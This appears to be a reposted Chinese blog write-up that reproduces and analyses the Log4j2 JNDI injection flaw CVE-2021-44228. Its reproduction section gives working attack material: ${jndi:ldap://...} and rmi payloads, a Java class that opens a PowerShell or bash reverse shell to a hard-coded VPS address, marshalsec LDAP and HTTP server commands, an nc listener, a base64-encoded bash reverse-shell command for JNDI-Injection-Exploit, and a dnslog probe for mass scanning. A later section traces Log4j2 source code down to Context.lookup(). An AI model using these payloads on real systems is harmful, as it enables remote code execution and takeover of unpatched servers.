Apache Log4j2 CVE-2021-44228漏洞復現分析


前言

Log4j2是Java開發常用的日志框架,這次的漏洞是核彈級的,影響范圍廣,危害大,攻擊手段簡單,已知可能影響到的相關應用有

  1. Apache Solr
  2. Apache Flink
  3. Apache Druid
  4. Apache Struts2
  5. srping-boot-strater-log4j2
  6. ElasticSearch
  7. flume
  8. dubbo
  9. Redis
  10. logstash
  11. kafka

從使用場景上看,只要是通過log4j2記錄日志時,記錄的內容可控即可觸發漏洞

 

 

 

(error可以、info不行,詳見后續分析)

影響范圍

  Apache Log4j2 2.0.0 ~ 2.15.0-rc1

漏洞復現

jdk版本要求

需要注意的有以下幾點:

  1. 基於RMI的利用方式,JDK版本限制於6u1327u1318u121之前,在8u122及之后的版本中,加入了反序列化白名單的機制,關閉了RMI遠程加載代碼

  2. 基於LDAP的利用方式,JDK版本限制於6u2117u2018u19111.0.1之前,在8u191版本中,Oracle對LDAP向量設置限制,發布了CVE-2018-3149,關閉JNDI遠程類加載

  3. 針對高版本的jdk,即使設置了

    1. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

    可能在利用時也會失敗(vulfocus環境),具體原因未查明…表現是ldap接收到請求,但是沒往http上重定向,但是本地是ok的

本地復現

使用idea構造一個測試項目,對於java的版本有要求,盡量使用jdk8u113之前jdk8版本(如果是僅測試ldap的注入,用191之前的版本即可)

maven導入相關jar包 

寫一個測試類

  1. import org.apache.logging.log4j.LogManager;
  2. import org.apache.logging.log4j.Logger;
  3. public class Test {
  4. private static final Logger logger = LogManager.getLogger(Test.class);
  5. public static void main(String[] args) {
  6. // String payload = "${jndi:ldap://gi7r4l.dnslog.cn/xx}";
  7. // 高版本需要設置,rmi只需要把ldap改成rmi即可
  8. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
  9. String payload = "${jndi:ldap://59.110.46.22:45708/RS45706}";
  10. // String payload = "${jndi:rmi://59.110.46.22:45708/Calc}";
  11. logger.error("{}", payload);
  12. logger.info("{}", payload);
  13. logger.info(payload);
  14. logger.error(payload);
  15. }
  16. }

准備一個惡意類,以下是彈計算器以及反彈shell的利用類

彈出計算器

  1. import java.io.IOException;
  2. public class Calc {
  3. static {
  4. try {
  5. Runtime.getRuntime().exec("calc");
  6. } catch (IOException e) {
  7. e.printStackTrace();
  8. }
  9. }
  10. public static void main(String[] args) throws IOException {
  11. Runtime.getRuntime().exec("calc");
  12. }
  13. }

反彈shell

  1. import java.io.IOException;
  2. /**
  3. * 反彈shell用類
  4. */
  5. public class RS45706 {
  6. static {
  7. // 靜態塊反彈shell
  8. // windows操作系統使用powershell反彈
  9. if(System.getProperties().getProperty("os.name").toLowerCase().contains("windows")) {
  10. String reverseShellW = "powershell -nop -c \"$client = New-Object Net.Sockets.TCPClient('59.110.46.22',45706);" +
  11. "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = " +
  12. "$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;" +
  13. "$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);" +
  14. "$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';" +
  15. "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);" +
  16. "$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"";
  17. try {
  18. Runtime.getRuntime().exec(reverseShellW);
  19. } catch (IOException e) {
  20. e.printStackTrace();
  21. }
  22. } else {
  23. // bash -i >& /dev/tcp/59.110.46.22/45706 0>&1 linux反彈命令
  24. String reverseShellL = "bash -i >& /dev/tcp/59.110.46.22/45706 0>&1";
  25. String[] cmd = new String[]{"/bin/bash","-c",reverseShellL};
  26. try {
  27. Runtime.getRuntime().exec(cmd);
  28. } catch (IOException e) {
  29. e.printStackTrace();
  30. }
  31. }
  32. }
  33. public static void main(String[] args) {
  34. }
  35. }

在vps(或者是其他目標主機能訪問到的機器)開啟以下三個服務的端口監聽

  1. ldap
  2. http
  3. nc
  1. ldap服務監聽 
    這里使用的是github上的一個利用工具marshalsec

    1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://59.110.46.22:45707/#RS45706" 45708

    監聽的端口為45708,指向的類設置成反彈shell的類 

  2. http服務監聽 
    需要http訪問的文件夾下需要放置剛剛編譯好的惡意類,然后使用python快速啟動一個http協議

    1. python3 -m http.server 45707
    2. python -m SimpleHTTPServer 45707
  3. nc監聽反彈端口

    1. nc -lvvp 45706

准備工作做完后,直接運行測試類即可看到shell被反彈到我們的vps中 

靶場復現

靶場使用的是fofa的vulfocus

靶場搭建:

  1. docker run -d -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=your-ip vulfocus/vulfocus
  2. admin/admin

docker搭建完成后,直接訪問ip:port,登陸后同步鏡像 

然后找到log4j2的鏡像啟動 

對於靶場環境,無法直接使用本地環境的復現方式進行復現。原因未知,可能與spring的環境有關,需要深入進行研究

但是對於復現,可以使用github上的另一個工具JNDI-Injection-Exploit進行復現

使用方法

  1. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuNDYuMjIvNDU3MDYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 59.110.46.22
  2. -C 參數接的是執行的命令
  3. -A VPS-ip

這個工具會同時監聽http、ldap與rmi,並生成payload

需要注意的是,只有

  1. Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
  2. rmi://59.110.46.22:1099/hh15oi

這個payload才可以

發送此payload即可反彈

poc批量掃描思路

針對該漏洞的快速驗證,可以借助dnslog,在jndi被解析並觸發ldap請求時,會請求dns的解析,這樣就可以判斷漏洞的存在性,poc如下

  1. ${jndi:ldap://baidu.l3bkhz.dnslog.cn/xx}

漏洞分析

這個漏洞是一個標准的JDNI注入,產生漏洞的原因是因為Context.lookup()的參數可控,導致程序請求攻擊者的惡意服務器上的惡意類導致任意代碼執行。

先定位一下調用棧 

我們需要捋清楚的是,我們傳入的數據是如何通過logger.error(payload)最終傳入到lookup()中的,需要看住的是我們傳入的語句,即message變量

首先跟入error()方法,這里直接調用了logIfEnabled() 

在此方法中,會先判斷isEnabled()為true才繼續執行 

isEnabled()的判斷是在AbstractLogger抽象類的子類Logger中做的 

跟進filter() 

這里先判斷this.config.getFilter()是否為空,而且默認的config.Filter為空,所以不會進這里的if語句;然后后續的判斷只要是level不為空而且this.intLevel只要大於等於log等級的intLevel就會返回true,所以只要是intLevel等級在200以下的都可以觸發該漏洞,這類的方法有

  1. OFFFATALERROR

其余的無法觸發 

接着向下跟入

  1. logMessage() -> logMessageSafely() -> logMessageTrackRecursion() -> tryLogMessage() -> Logger.log()

前面幾個由於是單方法的層層傳遞,就不再跟入,只需要關注的是在logMessage()中將String類型的message封裝到了Message類中即可,然后直接來到Logger.log()中 

這里判斷this.privateConfig.loggerConfig.getReliabilityStrategy()獲取的對象是否是LocationAwareReliabilityStrategy或其子類的實例

這里的strategy默認為DefaultReliabilityStrategy的對象實例,而DefaultReliabilityStrategy實現了LocationAwareReliabilityStrategy接口 

所以上述的if語句會返回true,進入89行,接着向下深入

  1. DefaultReliabilityStrategy.log() -> LoggerConfig.log()

這里的data參數為我們傳入的語句,這里的this.propertiesRequireLookup在我們最開始直接獲取Logger對象的時候默認設置為false 

然后設置props,此處為null

然后在第279行將messageprops等變量作為參數,創建了一個LogEvent類的對象,這里沒什么好說的,重點是將我們傳入的JNDI表達式(Message對象設置到了LogEvent.messageFormat和messageText中) 

然后接着跟入LoggerConfig.log() 

這里會判斷一次isFilter()

AbstractFilterable類中filter會設置為null,而之前說的LoggerConfig作為其子類,默認調用的是無參構造方法,沒有涉及到對filter的修改,所以此處的isFilter()判斷必為false會進入295行的

  1. this.processLogEvent(event, predicate);

在上圖的306行有一個if判斷,這里是傳入的ALL是絕對為true的 

在307行將event對象作為參數傳進了callAppenders()方法中

這里有一個循環,但是我們重點是關注AppenderControl.callAppender()event做了什么,所以直接跟進358行callAppender()


在第44行會將event作為參數傳入shouldSkip()中,只有以下三個函數全為false時才會進入45行的callAppenderPreventRecursion()

  1. isFilteredByAppenderControl() - 判斷是否有filter過濾,默認為null,返回false
  2. isFilteredByLevel() - 判斷是否通過level過濾,這里默認的levelALL,所以默認必然為false
  3. isRecursiveCall() - 判斷是否遞歸調用-是則返回true

繼續跟進

  1. callAppenderPreventRecursion() -> callAppender0()

這里的isFilteredByAppender()和之前isFilteredByAppenderControl()的邏輯類似,也是為了判斷是否有filter過濾,默認為null,返回false

繼續跟入

  1. tryCallAppender() -> AbstractOutputStreamAppender.append() -> tryAppend()

判斷了一下Constants.ENABLE_DIRECT_ENCODERS的值,在初始化時靜態塊中設置為true 

跟入

  1. directEncodeEvent() -> PatternLayout.encode()

這里先判斷this.eventSerializer是否是Serializer2的一個實例,但是在類聲明時eventSerializer被聲明成了Serializer的對象,在構造方法進行初始化時執行了這樣一條語句

  1. this.eventSerializer = newSerializerBuilder().setConfiguration(config).setReplace(replace).setPatternSelector(patternSelector).setAlwaysWriteExceptions(alwaysWriteExceptions).setDisableAnsi(disableAnsi).setNoConsoleNoAnsi(noConsoleNoAnsi).setPattern(eventPattern).setDefaultPattern("%m%n").build();

其實只需要看看build()方法 

這個方法里出來第一塊if分支,其余兩個返回的類對象都同時實現了SerializerSerializer2,而pattern和defaultPattern都被設置了,所以肯定會進入encode()else分支

然后這里還有一個需要關注的,就是eventPattern它其實就是event序列化的格式,這個也被設置在了eventSerializer中被一起傳入接下來的方法 


接下來跟進

  1. toText() -> PatternSerializer.toSerializable()
  2. 注:此處的PatternSerializerPatternLayout的內部類

406行的循環是一個重要的邏輯,最終的觸發點也是在這個循環中產生的,這里的this.formatters其實就是剛剛看的eventSerializer的一個類屬性,就結果來說,循環的每一次執行,就會向buffer里格式化填充一塊數據,每次格式化的數據如下: 
(部分截圖) 

需要說明的是,這里忽略了具體格式化時的邏輯,因為塊數據格式化時使用的邏輯可能不同,而且與漏洞無關,重要的只有處理jndi表達式那塊

在循環進行到第9次,即索引為8時,會來到漏洞觸發的邏輯,繼續跟入

  1. PatternFormatter.format() -> MessagePatternConverter.format()

這里首先會有一個類型判斷,這里的msg是MutableLogEvent的實例,實現了LogEventReusableMessageParameterVisitable接口,ReusableMessage實現了StringBuilderFormattable接口,所以類型判斷是通過的

在第106行會將toAppendTo設置給workingBuilder(默認情況,不做渲染,走false邏輯)

然后第107行的offset為偏移量,即從之前格式化的數據之后進行填充

然后重點看114行,這里先做了一個判斷,判斷config不為空,而且nolookups為false時,進入之后的邏輯

config的判斷不需要關注,需要看看的是nolookups的判斷

在初始化時noLookups的賦值為如下語句 

Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS默認為false 

后面noLookupsIdx >= 0的判斷需要跟一下MessagePatternConverter的初始化。 

在初始化時會調用到兩次MessagePatternConverter()構造方法,兩次options[]都是空,那其實沒必要深究了

回到

  1. MessagePatternConverter.format()

的第116行,這里開始對JDNI表達式進行處理了


直接跟進119行 

這里主要是關注我們的JNDI表達式(這里的source)的傳遞,這里通過字符串構造了一個StringBuilder的對象

  1. StrSubstitutor.replace() -> substitute() -> substitute()
  2. 注:上述第一個substitute為重載的方法,第二個為主要的處理邏輯

進入了substitute()發現它又臭又長,其主要作用是遞歸處理日志輸入,轉為對應的輸出 
我們只需要重點關注針對buf的操作即可,針對buf的操作就只有330行else if這塊


這里的邏輯是刪除JNDI表達式中間的$,其實影響不到我們的注入語句,然后進入else分支

直接來到418行

  1. String varValue = this.resolveVariable(event, varName, buf, startPos, pos);

說一下傳入的參數

  1. varName - 抽取出的JNDI表達式`${}`中的內容
  2. startPos - 0 pos的初值
  3. pos - JNDI表達式總長的計數,我傳入的payload此處值為41

跟入

  1. resolveVariable() -> resolver.lookup()

這里主要的邏輯是先找了一波:的位置,然后將jndi:后面的表達式取出,賦值給name,這里的StrLookup中包含了多種Lookup對象,可以通過前綴來確定使用哪種lookup 

最終跟入

  1. JndiLookup.lookup()



最后就是一路帶進Context.lookup()里了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM